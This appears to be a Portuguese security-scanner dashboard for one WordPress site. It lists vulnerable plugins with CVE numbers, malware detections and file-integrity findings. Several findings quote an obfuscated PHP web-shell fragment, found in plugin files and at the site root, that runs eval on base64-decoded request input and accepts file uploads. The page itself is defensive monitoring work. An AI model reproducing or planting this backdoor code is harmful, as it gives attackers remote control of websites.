Detalhe do ativoAtivo monitorado
Entrar
Voltar para ativos
planus.cnt.br HTTPS
WordPress · Frota 20i · último scan agora
100score de risco
Configurar
Postura de segurança1/5
Conexão
Vulnerab.
Integridade
Config
Backup
Integridade & snapshotsbaseline hoje 06:00
Malware detectado no site planus.cnt.brmalware
/wp-content/plugins/background-image-cropper/image/plugins.phpmalware
/wp-content/plugins/background-image-cropper/image/index.phpmalware
/wp-content/plugins/background-image-cropper/accesson.phpmalware
Findings do ativo
Alto
WordPress core desatualizado: 7.1.1 → 7.1.2 (planus.cnt.br)
Vulnerabilidade WP · conf. Alta · 20iwp-nt3qdt
Aberto
Alto
Plugin vulnerável: cleantalk-spam-protect 6.86 (CVE-2026-77830, CVE-2026-19855) em planus.cnt.br
Vulnerabilidade WP · conf. Alta · 20iwp-8inhjjCVE-2026-77830CVE-2026-19855
Aberto
Alto
Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em planus.cnt.br
Vulnerabilidade WP · conf. Alta · 20iwp-1bkt2zpCVE-2026-66627
Aberto
Crítico
Plugin vulnerável: jet-engine 3.8.5 (CVE-2026-56068, CVE-2026-66581, CVE-2026-14864, CVE-2026-54189, CVE-2026-4352, CVE-2026-54187, CVE-2026-52706, CVE-2026-66613, CVE-2026-49084, CVE-2026-81760, CVE-2026-54188, CVE-2026-65467, CVE-2026-28082, CVE-2026-17019, CVE-2026-18202, CVE-2026-49075, CVE-2026-42774, CVE-2026-4662, CVE-2026-49074, CVE-2026-49076, CVE-2026-12360) em planus.cnt.br
Vulnerabilidade WP · conf. Alta · 20iwp-08o5x4CVE-2026-56068CVE-2026-66581CVE-2026-14864CVE-2026-54189CVE-2026-4352CVE-2026-54187CVE-2026-52706CVE-2026-66613CVE-2026-49084CVE-2026-81760CVE-2026-54188CVE-2026-65467CVE-2026-28082CVE-2026-17019CVE-2026-18202CVE-2026-49075CVE-2026-42774CVE-2026-4662CVE-2026-49074CVE-2026-49076CVE-2026-12360
Aberto
Médio
Plugin desatualizado: redirection 5.10.0 → 5.10.1 (planus.cnt.br)
Vulnerabilidade WP · conf. Alta · 20iwp-1dypsn4
Aberto
Crítico
Plugin vulnerável: wpmudev-updates 5.0.0 (CVE-2026-76581, CVE-2026-15459) em planus.cnt.br
Vulnerabilidade WP · conf. Alta · 20iwp-gt2vocCVE-2026-76581CVE-2026-15459
Aberto
Alto
Plugin vulnerável: wpvivid-backuprestore 0.9.133 (CVE-2026-82194, CVE-2026-82193) em planus.cnt.br
Vulnerabilidade WP · conf. Alta · 20iwp-1baelooCVE-2026-82194CVE-2026-82193
Aberto
Crítico
Malware detectado no site planus.cnt.br
Integridade · conf. Alta · 20iwp-bhvud1
Aberto
Alto
Arquivo suspeito (heurística de malware, revisar): /wp-content/plugins/background-image-cropper/image/plugins.php — evidência: 4\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST["id"]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\
Integridade · conf. Alta · agent-bawkby
Aberto
Alto
Arquivo suspeito (heurística de malware, revisar): /wp-content/plugins/background-image-cropper/image/index.php — evidência: 4\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST["id"]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\
Integridade · conf. Alta · agent-1ak7cas
Aberto
Alto
Arquivo suspeito (heurística de malware, revisar): /wp-content/plugins/background-image-cropper/accesson.php — evidência: 4\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST["id"]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\
Integridade · conf. Alta · agent-kmfkvd
Aberto
Alto
Arquivo PHP desconhecido na raiz (revisar): /accesson.php — evidência: 4\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST["id"]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\
Integridade · conf. Alta · agent-y2l195
Aberto
Conectores do ativo
REST autenticadoAtivo
XML-RPC probeAtivo
SSH / WP-CLIIndisponível
Linha do tempo
Scan de vulnerabilidade concluído
hoje 12:41
Finding criado · severidade alta
hoje 12:30
Snapshot de integridade salvo
hoje 06:00
Remediação assistida
WordPress core desatualizado: 7.1.1 → 7.1.2 (planus.cnt.br)
Plugin vulnerável: cleantalk-spam-protect 6.86 (CVE-2026-77830, CVE-2026-19855) em planus.cnt.br
Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em planus.cnt.br
Plugin vulnerável: jet-engine 3.8.5 (CVE-2026-56068, CVE-2026-66581, CVE-2026-14864, CVE-2026-54189, CVE-2026-4352, CVE-2026-54187, CVE-2026-52706, CVE-2026-66613, CVE-2026-49084, CVE-2026-81760, CVE-2026-54188, CVE-2026-65467, CVE-2026-28082, CVE-2026-17019, CVE-2026-18202, CVE-2026-49075, CVE-2026-42774, CVE-2026-4662, CVE-2026-49074, CVE-2026-49076, CVE-2026-12360) em planus.cnt.br
Plugin desatualizado: redirection 5.10.0 → 5.10.1 (planus.cnt.br)
Plugin vulnerável: wpmudev-updates 5.0.0 (CVE-2026-76581, CVE-2026-15459) em planus.cnt.br
Plugin vulnerável: wpvivid-backuprestore 0.9.133 (CVE-2026-82194, CVE-2026-82193) em planus.cnt.br
Malware detectado no site planus.cnt.br
Arquivo suspeito (heurística de malware, revisar): /wp-content/plugins/background-image-cropper/image/plugins.php — evidência: 4\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST["id"]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\
Arquivo suspeito (heurística de malware, revisar): /wp-content/plugins/background-image-cropper/image/index.php — evidência: 4\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST["id"]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\
Arquivo suspeito (heurística de malware, revisar): /wp-content/plugins/background-image-cropper/accesson.php — evidência: 4\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST["id"]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\
Arquivo PHP desconhecido na raiz (revisar): /accesson.php — evidência: 4\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST["id"]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\
Firewall
Carregando… (requer API no ar e o site na 20i).